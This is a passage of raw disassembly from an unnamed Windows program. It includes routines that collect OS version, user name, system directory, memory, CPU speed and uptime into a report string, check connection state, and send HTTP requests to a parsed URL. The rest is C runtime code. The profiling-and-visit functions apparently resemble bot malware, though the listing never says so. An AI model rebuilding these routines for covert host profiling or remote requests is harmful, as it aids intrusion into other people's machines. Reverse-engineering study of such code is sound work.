; ---------------------------------------------------------------------------
loc_41B4AF: ; CODE XREF: sub_41B33E+168j
mov ecx, edi
jmp short loc_41B4B5
; ---------------------------------------------------------------------------
loc_41B4B3: ; CODE XREF: sub_41B33E+164j
mov ecx, eax
loc_41B4B5: ; CODE XREF: sub_41B33E+16Fj
; sub_41B33E+173j
xor eax, eax
test ebx, ebx
jz short loc_41B4C2
mov edi, [ebp+var_4]
mov eax, ebx
jmp short loc_41B4C5
; ---------------------------------------------------------------------------
loc_41B4C2: ; CODE XREF: sub_41B33E+17Bj
push 2
pop edi
loc_41B4C5: ; CODE XREF: sub_41B33E+182j
test esi, esi
jz short loc_41B4CD
add eax, esi
jmp short loc_41B4CE
; ---------------------------------------------------------------------------
loc_41B4CD: ; CODE XREF: sub_41B33E+189j
dec edi
loc_41B4CE: ; CODE XREF: sub_41B33E+18Dj
test ecx, ecx
jz short loc_41B4D6
add eax, ecx
jmp short loc_41B4D7
; ---------------------------------------------------------------------------
loc_41B4D6: ; CODE XREF: sub_41B33E+192j
dec edi
loc_41B4D7: ; CODE XREF: sub_41B33E+196j
xor edx, edx
div edi
push eax
push ecx
push esi
push ebx
lea eax, [ebp+var_26C]
push offset dword_4514F8
push eax
call sub_41EA60
push 0
lea eax, [ebp+var_26C]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409C75
lea eax, [ebp+var_26C]
push eax
call sub_415A3C
add esp, 30h
pop edi
pop esi
pop ebx
leave
retn
sub_41B33E endp
; =============== S U B R O U T I N E =======================================
sub_41B51B proc near ; CODE XREF: sub_401C87+255Ap
; sub_401C87+29DEp ...
arg_0 = dword ptr 4
push esi
push edi
call ds:dword_4F537C ; GetTickCount
xor edx, edx
mov ecx, 3E8h
div ecx
xor edx, edx
mov ecx, 15180h
mov esi, 0E10h
push 3Ch
pop edi
sub eax, [esp+8+arg_0]
div ecx
mov ecx, eax
mov eax, edx
xor edx, edx
div esi
mov esi, eax
mov eax, edx
xor edx, edx
div edi
push eax
push esi
push ecx
push offset dword_451558
mov esi, offset dword_4F32AC
push 32h
push esi
call sub_41EC30
add esp, 18h
mov eax, esi
pop edi
pop esi
retn
sub_41B51B endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41B56E proc near ; CODE XREF: sub_41786C+24p
var_94 = dword ptr -94h
var_90 = dword ptr -90h
var_8C = dword ptr -8Ch
var_84 = dword ptr -84h
push ebp
mov ebp, esp
sub esp, 94h
lea eax, [ebp+var_94]
push esi
push eax
xor esi, esi
mov [ebp+var_94], 94h
call ds:dword_4F539C ; GetVersionExA
test eax, eax
jz short loc_41B600
cmp [ebp+var_90], 4
jnz short loc_41B5D6
cmp [ebp+var_8C], esi
jnz short loc_41B5BE
cmp [ebp+var_84], 1
jnz short loc_41B5B0
inc esi
loc_41B5B0: ; CODE XREF: sub_41B56E+3Fj
cmp [ebp+var_84], 2
jnz short loc_41B600
xor esi, esi
inc esi
jmp short loc_41B600
; ---------------------------------------------------------------------------
loc_41B5BE: ; CODE XREF: sub_41B56E+36j
cmp [ebp+var_8C], 0Ah
jnz short loc_41B5CB
loc_41B5C7: ; CODE XREF: sub_41B56E+77j
push 2
jmp short loc_41B5FF
; ---------------------------------------------------------------------------
loc_41B5CB: ; CODE XREF: sub_41B56E+57j
cmp [ebp+var_8C], 5Ah
jnz short loc_41B600
jmp short loc_41B5F0
; ---------------------------------------------------------------------------
loc_41B5D6: ; CODE XREF: sub_41B56E+2Ej
cmp [ebp+var_90], 5
jnz short loc_41B600
cmp [ebp+var_8C], esi
jz short loc_41B5C7
cmp [ebp+var_8C], 1
jnz short loc_41B5F4
loc_41B5F0: ; CODE XREF: sub_41B56E+66j
push 3
jmp short loc_41B5FF
; ---------------------------------------------------------------------------
loc_41B5F4: ; CODE XREF: sub_41B56E+80j
cmp [ebp+var_8C], 2
jnz short loc_41B600
push 7
loc_41B5FF: ; CODE XREF: sub_41B56E+5Bj
; sub_41B56E+84j
pop esi
loc_41B600: ; CODE XREF: sub_41B56E+25j
; sub_41B56E+49j ...
mov eax, esi
pop esi
leave
retn
sub_41B56E endp
; =============== S U B R O U T I N E =======================================
sub_41B605 proc near ; CODE XREF: sub_41B6C1+290p
push ebx
push esi
push edi
mov esi, 0F4240h
loc_41B60D: ; CODE XREF: sub_41B605+35j
; sub_41B605+3Bj
call sub_41BA3E
push 3E8h
mov edi, eax
mov ebx, edx
call ds:dword_4F534C ; Sleep
call sub_41BA3E
sub eax, edi
push 0
sbb edx, ebx
push esi
push edx
push eax
call sub_421480
mov edi, edx
mov ebx, eax
test edi, edi
ja short loc_41B60D
jb short loc_41B642
cmp ebx, esi
ja short loc_41B60D
loc_41B642: ; CODE XREF: sub_41B605+37j
push 0
push 64h
push edi
push ebx
call sub_4214F0
mov ecx, edx
push 64h
xor edx, edx
mov esi, eax
test ecx, ecx
pop eax
ja short loc_41B6B5
jb short loc_41B661
cmp esi, 50h
jnb short loc_41B666
loc_41B661: ; CODE XREF: sub_41B605+55j
push 4Bh
xor edx, edx
pop eax
loc_41B666: ; CODE XREF: sub_41B605+5Aj
test ecx, ecx
ja short loc_41B6B5
jb short loc_41B671
cmp esi, 47h
jnb short loc_41B676
loc_41B671: ; CODE XREF: sub_41B605+65j
push 42h
xor edx, edx
pop eax
loc_41B676: ; CODE XREF: sub_41B605+6Aj
test ecx, ecx
ja short loc_41B6B5
jb short loc_41B681
cmp esi, 37h
jnb short loc_41B686
loc_41B681: ; CODE XREF: sub_41B605+75j
push 32h
xor edx, edx
pop eax
loc_41B686: ; CODE XREF: sub_41B605+7Aj
test ecx, ecx
ja short loc_41B6B5
jb short loc_41B691
cmp esi, 26h
jnb short loc_41B696
loc_41B691: ; CODE XREF: sub_41B605+85j
push 21h
xor edx, edx
pop eax
loc_41B696: ; CODE XREF: sub_41B605+8Aj
test ecx, ecx
ja short loc_41B6B5
jb short loc_41B6A1
cmp esi, 1Eh
jnb short loc_41B6A6
loc_41B6A1: ; CODE XREF: sub_41B605+95j
push 19h
xor edx, edx
pop eax
loc_41B6A6: ; CODE XREF: sub_41B605+9Aj
test ecx, ecx
ja short loc_41B6B5
jb short loc_41B6B1
cmp esi, 0Ah
jnb short loc_41B6B5
loc_41B6B1: ; CODE XREF: sub_41B605+A5j
xor eax, eax
xor edx, edx
loc_41B6B5: ; CODE XREF: sub_41B605+53j
; sub_41B605+63j ...
sub eax, esi
sbb edx, ecx
add eax, ebx
adc edx, edi
pop edi
pop esi
pop ebx
retn
sub_41B605 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41B6C1 proc near ; CODE XREF: sub_401C87+2732p
var_968 = byte ptr -968h
var_7E8 = byte ptr -7E8h
var_668 = byte ptr -668h
var_5E8 = byte ptr -5E8h
var_568 = byte ptr -568h
var_4E8 = byte ptr -4E8h
var_3E4 = byte ptr -3E4h
var_2E8 = byte ptr -2E8h
var_25C = word ptr -25Ch
var_25A = byte ptr -25Ah
var_15C = byte ptr -15Ch
var_114 = byte ptr -114h
var_CC = dword ptr -0CCh
var_C8 = dword ptr -0C8h
var_C4 = dword ptr -0C4h
var_C0 = dword ptr -0C0h
var_BC = dword ptr -0BCh
var_B8 = byte ptr -0B8h
var_38 = byte ptr -38h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_18 = byte ptr -18h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 968h
push ebx
push esi
lea eax, [ebp+var_CC]
push edi
push eax
mov [ebp+var_4], offset word_4F32DE
mov [ebp+var_CC], 94h
call ds:dword_4F539C ; GetVersionExA
xor ebx, ebx
cmp [ebp+var_C8], 4
jnz short loc_41B748
cmp [ebp+var_C4], ebx
jnz short loc_41B724
cmp [ebp+var_BC], 1
jnz short loc_41B70E
mov [ebp+var_4], offset dword_451564
loc_41B70E: ; CODE XREF: sub_41B6C1+44j
cmp [ebp+var_BC], 2
jnz loc_41B7C3
mov [ebp+var_4], offset dword_451568
jmp short loc_41B794
; ---------------------------------------------------------------------------
loc_41B724: ; CODE XREF: sub_41B6C1+3Bj
cmp [ebp+var_C4], 0Ah
jnz short loc_41B736
mov [ebp+var_4], offset dword_45156C
jmp short loc_41B78B
; ---------------------------------------------------------------------------
loc_41B736: ; CODE XREF: sub_41B6C1+6Aj
cmp [ebp+var_C4], 5Ah
jnz short loc_41B784
mov [ebp+var_4], offset dword_451570
jmp short loc_41B78B
; ---------------------------------------------------------------------------
loc_41B748: ; CODE XREF: sub_41B6C1+33j
cmp [ebp+var_C8], 5
jnz short loc_41B784
cmp [ebp+var_C4], ebx
jnz short loc_41B762
mov [ebp+var_4], offset dword_451574
jmp short loc_41B78B
; ---------------------------------------------------------------------------
loc_41B762: ; CODE XREF: sub_41B6C1+96j
cmp [ebp+var_C4], 1
jnz short loc_41B774
mov [ebp+var_4], offset dword_451578
jmp short loc_41B78B
; ---------------------------------------------------------------------------
loc_41B774: ; CODE XREF: sub_41B6C1+A8j
cmp [ebp+var_C4], 2
mov [ebp+var_4], offset a2003 ; "2003"
jz short loc_41B78B
loc_41B784: ; CODE XREF: sub_41B6C1+7Cj
; sub_41B6C1+8Ej
mov [ebp+var_4], offset a??? ; "???"
loc_41B78B: ; CODE XREF: sub_41B6C1+73j
; sub_41B6C1+85j ...
cmp [ebp+var_BC], 2
jnz short loc_41B7C3
loc_41B794: ; CODE XREF: sub_41B6C1+61j
cmp [ebp+var_B8], bl
jz short loc_41B7C3
lea eax, [ebp+var_B8]
push eax
lea eax, [ebp+var_2E8]
push [ebp+var_4]
push offset aSS_6 ; "%s (%s)"
push eax
call sub_41EA60
lea eax, [ebp+var_2E8]
add esp, 10h
mov [ebp+var_4], eax
loc_41B7C3: ; CODE XREF: sub_41B6C1+54j
; sub_41B6C1+D1j ...
mov ax, ds:word_451590
push 3Fh
mov [ebp+var_25C], ax
pop ecx
xor eax, eax
lea edi, [ebp+var_25A]
rep stosd
stosw
mov eax, ds:dword_4E2EA8
mov [ebp+var_8], 100h
cmp eax, ebx
jz short loc_41B7FC
lea ecx, [ebp+var_8]
push ecx
lea ecx, [ebp+var_25C]
push ecx
call eax ; GetUserNameA
loc_41B7FC: ; CODE XREF: sub_41B6C1+12Cj
push [ebp+arg_4]
call sub_40AEAD
pop ecx
push eax
call ds:dword_4E3008 ; inet_addr
mov [ebp+var_C], eax
push 2
lea eax, [ebp+var_C]
push 4
push eax
call ds:dword_4E2F80 ; gethostbyaddr
cmp eax, ebx
jz short loc_41B825
push dword ptr [eax]
jmp short loc_41B82A
; ---------------------------------------------------------------------------
loc_41B825: ; CODE XREF: sub_41B6C1+15Ej
push offset aCouldnTResolve ; "couldn't resolve host"
loc_41B82A: ; CODE XREF: sub_41B6C1+162j
lea eax, [ebp+var_3E4]
push eax
call sub_41EA60
pop ecx
lea eax, [ebp+var_4E8]
pop ecx
push 104h
push eax
call ds:dword_4F5348 ; GetSystemDirectoryA
lea eax, [ebp+var_114]
push 46h
push eax
push offset aDdMmmYyyy ; "dd:MMM:yyyy"
push ebx
mov esi, 409h
push ebx
push esi
call ds:dword_4F53D8 ; GetDateFormatA
lea eax, [ebp+var_15C]
push 46h
push eax
push offset aHhMmSs_0 ; "HH:mm:ss"
push ebx
push ebx
push esi
call ds:dword_4F53D4 ; GetTimeFormatA
push 20h
lea eax, [ebp+var_38]
push ebx
push eax
call sub_41E4B0
add esp, 0Ch
lea eax, [ebp+var_38]
push eax
call ds:dword_4F5468 ; GlobalMemoryStatus
push ebx
push ebx
lea eax, [ebp+var_18]
push ebx
push eax
lea eax, [ebp+var_4E8]
push eax
call sub_41ED30
lea eax, [ebp+var_18]
push eax
lea eax, [ebp+var_968]
push eax
call sub_41738D
push 60h
mov esi, eax
pop ecx
lea edi, [ebp+var_7E8]
rep movsd
push 60h
lea esi, [ebp+var_7E8]
pop ecx
lea edi, [ebp+var_668]
rep movsd
push ebx
call sub_41B51B
add esp, 20h
push eax
lea eax, [ebp+var_15C]
push eax
lea eax, [ebp+var_114]
push eax
lea eax, [ebp+var_25C]
push eax
push [ebp+arg_4]
call sub_40AEAD
pop ecx
push eax
lea eax, [ebp+var_3E4]
push eax
lea eax, [ebp+var_4E8]
push eax
lea eax, [ebp+var_5E8]
push [ebp+var_C0]
push [ebp+var_C4]
push [ebp+var_C8]
push [ebp+var_4]
push eax
lea eax, [ebp+var_568]
push eax
mov eax, [ebp+var_2C]
shr eax, 0Ah
push ebx
push eax
call sub_41727E
pop ecx
pop ecx
push eax
mov eax, [ebp+var_30]
shr eax, 0Ah
push ebx
push eax
call sub_41727E
pop ecx
pop ecx
push eax
call sub_41B605
push edx
push eax
push offset dword_4515C8
push 200h
push [ebp+arg_0]
call sub_41EC30
mov eax, [ebp+arg_0]
add esp, 50h
pop edi
pop esi
pop ebx
leave
retn
sub_41B6C1 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41B975 proc near ; CODE XREF: sub_401C87+2760p
; sub_401C87+7350p
var_8C = byte ptr -8Ch
var_C = byte ptr -0Ch
var_8 = byte ptr -8
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 8Ch
push esi
mov esi, 80h
push esi
lea eax, [ebp+var_8C]
push 0
push eax
call sub_41E4B0
add esp, 0Ch
cmp ds:dword_4E30AC, 0
jnz short loc_41B9E9
push 0
lea eax, [ebp+var_8C]
push esi
push eax
lea eax, [ebp+var_C]
push eax
call ds:dword_4E2E8C ; InternetGetConnectedStateEx
test eax, eax
jnz short loc_41B9CA
lea eax, [ebp+var_8C]
push offset dword_4516A4
push eax
call sub_41EA60
pop ecx
pop ecx
loc_41B9CA: ; CODE XREF: sub_41B975+40j
test [ebp+var_C], 1
lea eax, [ebp+var_8]
jz short loc_41B9E2
push offset dword_4516B4
loc_41B9D8: ; CODE XREF: sub_41B975+72j
push eax
call sub_41EA60
pop ecx
pop ecx
jmp short loc_41BA0B
; ---------------------------------------------------------------------------
loc_41B9E2: ; CODE XREF: sub_41B975+5Cj
push offset off_4516BC
jmp short loc_41B9D8
; ---------------------------------------------------------------------------
loc_41B9E9: ; CODE XREF: sub_41B975+28j
lea eax, [ebp+var_8]
push offset off_4516C0
push eax
call sub_41EA60
lea eax, [ebp+var_8C]
push offset off_4516C4
push eax
call sub_41EA60
add esp, 10h
loc_41BA0B: ; CODE XREF: sub_41B975+6Bj
push [ebp+arg_4]
push [ebp+arg_8]
call sub_40AEAD
pop ecx
push eax
lea eax, [ebp+var_8C]
push eax
lea eax, [ebp+var_8]
push eax
push offset dword_4516C8
push 200h
push [ebp+arg_0]
call sub_41EC30
mov eax, [ebp+arg_0]
add esp, 1Ch
pop esi
leave
retn
sub_41B975 endp
; =============== S U B R O U T I N E =======================================
sub_41BA3E proc near ; CODE XREF: sub_41B605:loc_41B60Dp
; sub_41B605+1Cp
rdtsc
retn
sub_41BA3E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41BA41 proc near ; DATA XREF: sub_401C87+77BBo
var_65C = byte ptr -65Ch
var_55C = byte ptr -55Ch
var_35C = dword ptr -35Ch
var_358 = byte ptr -358h
var_2D8 = byte ptr -2D8h
var_258 = byte ptr -258h
var_1D8 = dword ptr -1D8h
var_1D4 = dword ptr -1D4h
var_1D0 = dword ptr -1D0h
var_1C8 = byte ptr -1C8h
var_148 = byte ptr -148h
var_C8 = byte ptr -0C8h
var_48 = dword ptr -48h
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = word ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 65Ch
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
push 65h
mov esi, eax
pop ecx
lea edi, [ebp+var_35C]
rep movsd
xor esi, esi
mov edi, 80h
inc esi
xor ebx, ebx
mov [eax+190h], esi
push edi
lea eax, [ebp+var_148]
push ebx
push eax
mov [ebp+var_C], ebx
mov [ebp+var_4], ebx
mov [ebp+var_8], offset dword_45170C
call sub_41E4B0
push edi
lea eax, [ebp+var_1C8]
push ebx
push eax
call sub_41E4B0
push edi
lea eax, [ebp+var_C8]
push ebx
push eax
call sub_41E4B0
push 100h
lea eax, [ebp+var_65C]
push ebx
push eax
call sub_41E4B0
push 3Ch
lea eax, [ebp+var_48]
pop edi
push edi
push ebx
push eax
call sub_41E4B0
add esp, 3Ch
lea eax, [ebp+var_48]
mov [ebp+var_48], edi
mov [ebp+var_34], esi
push eax
lea eax, [ebp+var_358]
push ebx
push eax
mov [ebp+var_28], esi
mov [ebp+var_20], esi
mov [ebp+var_18], esi
call sub_41BC70
pop ecx
push eax
lea eax, [ebp+var_358]
push eax
call ds:dword_4E2EC4 ; InternetCrackUrlA
test eax, eax
jz loc_41BBE1
cmp [ebp+var_34], ebx
jbe short loc_41BB18
push [ebp+var_34]
lea eax, [ebp+var_148]
push [ebp+var_38]
push eax
call sub_41E510
add esp, 0Ch
loc_41BB18: ; CODE XREF: sub_41BA41+C0j
cmp [ebp+var_28], ebx
movzx esi, [ebp+var_30]
jbe short loc_41BB36
push [ebp+var_28]
lea eax, [ebp+var_1C8]
push [ebp+var_2C]
push eax
call sub_41E510
add esp, 0Ch
loc_41BB36: ; CODE XREF: sub_41BA41+DEj
cmp [ebp+var_20], ebx
jbe short loc_41BB50
push [ebp+var_20]
lea eax, [ebp+var_C8]
push [ebp+var_24]
push eax
call sub_41E510
add esp, 0Ch
loc_41BB50: ; CODE XREF: sub_41BA41+F8j
cmp [ebp+var_18], ebx
jbe short loc_41BB6A
push [ebp+var_18]
lea eax, [ebp+var_65C]
push [ebp+var_1C]
push eax
call sub_41E510
add esp, 0Ch
loc_41BB6A: ; CODE XREF: sub_41BA41+112j
push ebx
push ebx
lea eax, [ebp+var_C8]
push 3
push eax
lea eax, [ebp+var_1C8]
push eax
lea eax, [ebp+var_148]
push esi
push eax
push ds:dword_4E2F78
call ds:dword_4E2F9C ; InternetConnectA
mov esi, eax
cmp esi, ebx
jz short loc_41BBF7
push ebx
lea eax, [ebp+var_8]
push 200h
push eax
lea eax, [ebp+var_2D8]
push eax
lea eax, [ebp+var_65C]
push ebx
push eax
push ebx
push esi
call ds:dword_4E2F90 ; HttpOpenRequestA
cmp eax, ebx
mov [ebp+var_4], eax
jz short loc_41BBFE
push ebx
push ebx
push ebx
push ebx
push eax
call ds:dword_4E2F3C ; HttpSendRequestA
test eax, eax
lea eax, [ebp+var_55C]
jz short loc_41BBDA
push offset dword_451710
jmp short loc_41BC09
; ---------------------------------------------------------------------------
loc_41BBDA: ; CODE XREF: sub_41BA41+190j
push offset unk_45172C
jmp short loc_41BC09
; ---------------------------------------------------------------------------
loc_41BBE1: ; CODE XREF: sub_41BA41+B7j
lea eax, [ebp+var_55C]
push offset dword_451768
push eax
call sub_41EA60
mov esi, [ebp+var_C]
jmp short loc_41BC0F
; ---------------------------------------------------------------------------
loc_41BBF7: ; CODE XREF: sub_41BA41+153j
push offset unk_451784
jmp short loc_41BC03
; ---------------------------------------------------------------------------
loc_41BBFE: ; CODE XREF: sub_41BA41+17Bj
push offset unk_4517B0
loc_41BC03: ; CODE XREF: sub_41BA41+1BBj
lea eax, [ebp+var_55C]
loc_41BC09: ; CODE XREF: sub_41BA41+197j
; sub_41BA41+19Ej
push eax
call sub_41EA60
loc_41BC0F: ; CODE XREF: sub_41BA41+1B4j
cmp [ebp+var_1D4], ebx
pop ecx
pop ecx
jnz short loc_41BC3C
push ebx
lea eax, [ebp+var_55C]
push [ebp+var_1D0]
push eax
lea eax, [ebp+var_258]
push eax
push [ebp+var_35C]
call sub_409C75
add esp, 14h
loc_41BC3C: ; CODE XREF: sub_41BA41+1D6j
lea eax, [ebp+var_55C]
push eax
call sub_415A3C
pop ecx
push esi
call ds:dword_4E2FFC ; InternetCloseHandle
push [ebp+var_4]
call ds:dword_4E2FFC ; InternetCloseHandle
push [ebp+var_1D8]
call sub_40B9A7
pop ecx
push ebx
call ds:dword_4F53A0 ; ExitThread
pop edi
pop esi
pop ebx
int 3 ; Trap to Debugger
sub_41BA41 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_41BC70 proc near ; CODE XREF: sub_401000+38p
; _0:004011F1p ...
arg_0 = dword ptr 4
mov ecx, [esp+arg_0]
test ecx, 3
jz short loc_41BC90
loc_41BC7C: ; CODE XREF: sub_41BC70+19j
mov al, [ecx]
inc ecx
test al, al
jz short loc_41BCC3
test ecx, 3
jnz short loc_41BC7C
add eax, 0
loc_41BC90: ; CODE XREF: sub_41BC70+Aj
; sub_41BC70+36j ...
mov eax, [ecx]
mov edx, 7EFEFEFFh
add edx, eax
xor eax, 0FFFFFFFFh
xor eax, edx
add ecx, 4
test eax, 81010100h
jz short loc_41BC90
mov eax, [ecx-4]
test al, al
jz short loc_41BCE1
test ah, ah
jz short loc_41BCD7
test eax, 0FF0000h
jz short loc_41BCCD
test eax, 0FF000000h
jz short loc_41BCC3
jmp short loc_41BC90
; ---------------------------------------------------------------------------
loc_41BCC3: ; CODE XREF: sub_41BC70+11j
; sub_41BC70+4Fj
lea eax, [ecx-1]
mov ecx, [esp+arg_0]
sub eax, ecx
retn
; ---------------------------------------------------------------------------
loc_41BCCD: ; CODE XREF: sub_41BC70+48j
lea eax, [ecx-2]
mov ecx, [esp+arg_0]
sub eax, ecx
retn
; ---------------------------------------------------------------------------
loc_41BCD7: ; CODE XREF: sub_41BC70+41j
lea eax, [ecx-3]
mov ecx, [esp+arg_0]
sub eax, ecx
retn
; ---------------------------------------------------------------------------
loc_41BCE1: ; CODE XREF: sub_41BC70+3Dj
lea eax, [ecx-4]
mov ecx, [esp+arg_0]
sub eax, ecx
retn
sub_41BC70 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41BCF0 proc near ; CODE XREF: sub_4010AA+62p
; sub_401C87+5997p ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov [ebp+var_4], 0FFFFFFFFh
loc_41BCFE: ; CODE XREF: sub_41BCF0+36j
cmp [ebp+arg_0], 0
jnz short loc_41BD22
push offset dword_43C504
push 0
push 3Ah
push offset dword_43C4F8
push 2
call sub_422610
add esp, 14h
cmp eax, 1
jnz short loc_41BD22
int 3 ; Trap to Debugger
loc_41BD22: ; CODE XREF: sub_41BCF0+12j
; sub_41BCF0+2Fj
xor eax, eax
test eax, eax
jnz short loc_41BCFE
mov ecx, [ebp+arg_0]
mov edx, [ecx+0Ch]
and edx, 40h
test edx, edx
jz short loc_41BD41
mov eax, [ebp+arg_0]
mov dword ptr [eax+0Ch], 0
jmp short loc_41BD68
; ---------------------------------------------------------------------------
loc_41BD41: ; CODE XREF: sub_41BCF0+43j
mov ecx, [ebp+arg_0]
push ecx
call sub_422420
add esp, 4
mov edx, [ebp+arg_0]
push edx
call sub_41BD80
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+arg_0]
push eax
call sub_422490
add esp, 4
loc_41BD68: ; CODE XREF: sub_41BCF0+4Fj
mov eax, [ebp+var_4]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_41BCF0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41BD80 proc near ; CODE XREF: sub_41BCF0+61p
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
push edi
mov [ebp+var_4], 0FFFFFFFFh
mov eax, [ebp+arg_0]
mov [ebp+var_8], eax
loc_41BD96: ; CODE XREF: sub_41BD80+3Ej
cmp [ebp+arg_0], 0
jnz short loc_41BDBA
push offset dword_43C514
push 0
push 77h
push offset dword_43C4F8
push 2
call sub_422610
add esp, 14h
cmp eax, 1
jnz short loc_41BDBA
int 3 ; Trap to Debugger
loc_41BDBA: ; CODE XREF: sub_41BD80+1Aj
; sub_41BD80+37j
xor ecx, ecx
test ecx, ecx
jnz short loc_41BD96
mov edx, [ebp+var_8]
mov eax, [edx+0Ch]
and eax, 83h
test eax, eax
jz short loc_41BE2A
mov ecx, [ebp+var_8]
push ecx
call sub_422F20
add esp, 4
mov [ebp+var_4], eax
mov edx, [ebp+var_8]
push edx
call sub_422DE0
add esp, 4
mov eax, [ebp+var_8]
mov ecx, [eax+10h]
push ecx
call sub_422CB0
add esp, 4
test eax, eax
jge short loc_41BE06
mov [ebp+var_4], 0FFFFFFFFh
jmp short loc_41BE2A
; ---------------------------------------------------------------------------
loc_41BE06: ; CODE XREF: sub_41BD80+7Bj
mov edx, [ebp+var_8]
cmp dword ptr [edx+1Ch], 0
jz short loc_41BE2A
push 2
mov eax, [ebp+var_8]
mov ecx, [eax+1Ch]
push ecx
call sub_41CA10
add esp, 8
mov edx, [ebp+var_8]
mov dword ptr [edx+1Ch], 0
loc_41BE2A: ; CODE XREF: sub_41BD80+4Dj
; sub_41BD80+84j ...
mov eax, [ebp+var_8]
mov dword ptr [eax+0Ch], 0
mov eax, [ebp+var_4]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_41BD80 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41BE40 proc near ; CODE XREF: sub_4010AA+6p
; sub_40ADC9+63p ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
push 0
push 0
push 1
mov eax, ds:dword_4F3374
push eax
mov ecx, [ebp+arg_0]
push ecx
call sub_41BEC0
add esp, 14h
mov [ebp+var_4], eax
mov eax, [ebp+var_4]
mov esp, ebp
pop ebp
retn
sub_41BE40 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41BE70 proc near ; CODE XREF: sub_41C2D0+20p
; sub_41C3F0+26p ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push ecx
mov eax, [ebp+arg_C]
push eax
mov ecx, [ebp+arg_8]
push ecx
mov edx, [ebp+arg_4]
push edx
mov eax, ds:dword_4F3374
push eax
mov ecx, [ebp+arg_0]
push ecx
call sub_41BEC0
add esp, 14h
mov [ebp+var_4], eax
mov eax, [ebp+var_4]
mov esp, ebp
pop ebp
retn
sub_41BE70 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41BEA0 proc near ; CODE XREF: sub_420C30+Ap
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push 0
push 0
push 1
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+arg_0]
push ecx
call sub_41BEC0
add esp, 14h
pop ebp
retn
sub_41BEA0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41BEC0 proc near ; CODE XREF: sub_41BE40+14p
; sub_41BE70+1Ap ...
var_1C = dword ptr -1Ch
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
; FUNCTION CHUNK AT 0041BF28 SIZE 00000038 BYTES
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_43C548
push offset sub_423364
mov eax, large fs:0
push eax
mov large fs:0, esp
add esp, 0FFFFFFF4h
push ebx
push esi
push edi
loc_41BEE3: ; CODE XREF: sub_41BEC0:loc_41BF4Dj
push 9
call sub_423280
add esp, 4
mov [ebp+var_4], 0
mov eax, [ebp+arg_10]
push eax
mov ecx, [ebp+arg_C]
push ecx
mov edx, [ebp+arg_8]
push edx
mov eax, [ebp+arg_0]
push eax
call sub_41BF80
add esp, 10h
mov [ebp+var_1C], eax
mov [ebp+var_4], 0FFFFFFFFh
call sub_41BF1D
jmp short loc_41BF28
sub_41BEC0 endp
; =============== S U B R O U T I N E =======================================
sub_41BF1D proc near ; CODE XREF: sub_41BEC0+56p
; DATA XREF: _1:0043C550o
push 9
call sub_423320
add esp, 4
retn
sub_41BF1D endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_41BEC0
loc_41BF28: ; CODE XREF: sub_41BEC0+5Bj
cmp [ebp+var_1C], 0
jnz short loc_41BF34
cmp [ebp+arg_4], 0
jnz short loc_41BF39
loc_41BF34: ; CODE XREF: sub_41BEC0+6Cj
mov eax, [ebp+var_1C]
jmp short loc_41BF4F
; ---------------------------------------------------------------------------
loc_41BF39: ; CODE XREF: sub_41BEC0+72j
mov ecx, [ebp+arg_0]
push ecx
call sub_423170
add esp, 4
test eax, eax
jnz short loc_41BF4D
xor eax, eax
jmp short loc_41BF4F
; ---------------------------------------------------------------------------
loc_41BF4D: ; CODE XREF: sub_41BEC0+87j
jmp short loc_41BEE3
; ---------------------------------------------------------------------------
loc_41BF4F: ; CODE XREF: sub_41BEC0+77j
; sub_41BEC0+8Bj
mov ecx, [ebp+var_10]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
; END OF FUNCTION CHUNK FOR sub_41BEC0
